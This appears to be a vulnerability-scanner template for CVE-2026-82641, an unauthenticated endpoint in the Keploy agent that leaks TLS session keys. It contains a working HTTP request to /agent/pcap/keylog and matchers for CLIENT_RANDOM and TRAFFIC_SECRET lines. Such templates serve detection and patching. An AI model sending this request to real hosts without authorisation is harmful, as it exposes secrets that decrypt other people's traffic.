id: CVE-2026-82641

info:
  name: "Keploy Agent - Unauthenticated TLS Keylog Disclosure"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Keploy versions 3.1.0 through 3.6.25 bind the agent control-plane HTTP server to all
    interfaces without authentication, exposing endpoints that stream TLS session keys and
    traffic data. An unauthenticated attacker can request /agent/pcap/keylog to retrieve NSS
    keylog lines (CLIENT_RANDOM / TRAFFIC_SECRET entries) and decrypt recorded TLS traffic.
    Fixed in version 3.6.26.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-82641&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=keploy&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.8
    cve-id: CVE-2026-82641
    cwe-id: CWE-306
  metadata:
    verified: false
  tags: cve,cve2026,keploy,exposure
http:
  - raw:
      - |
        GET /agent/pcap/keylog HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CLIENT_RANDOM") || contains(body, "TRAFFIC_SECRET")'
        condition: and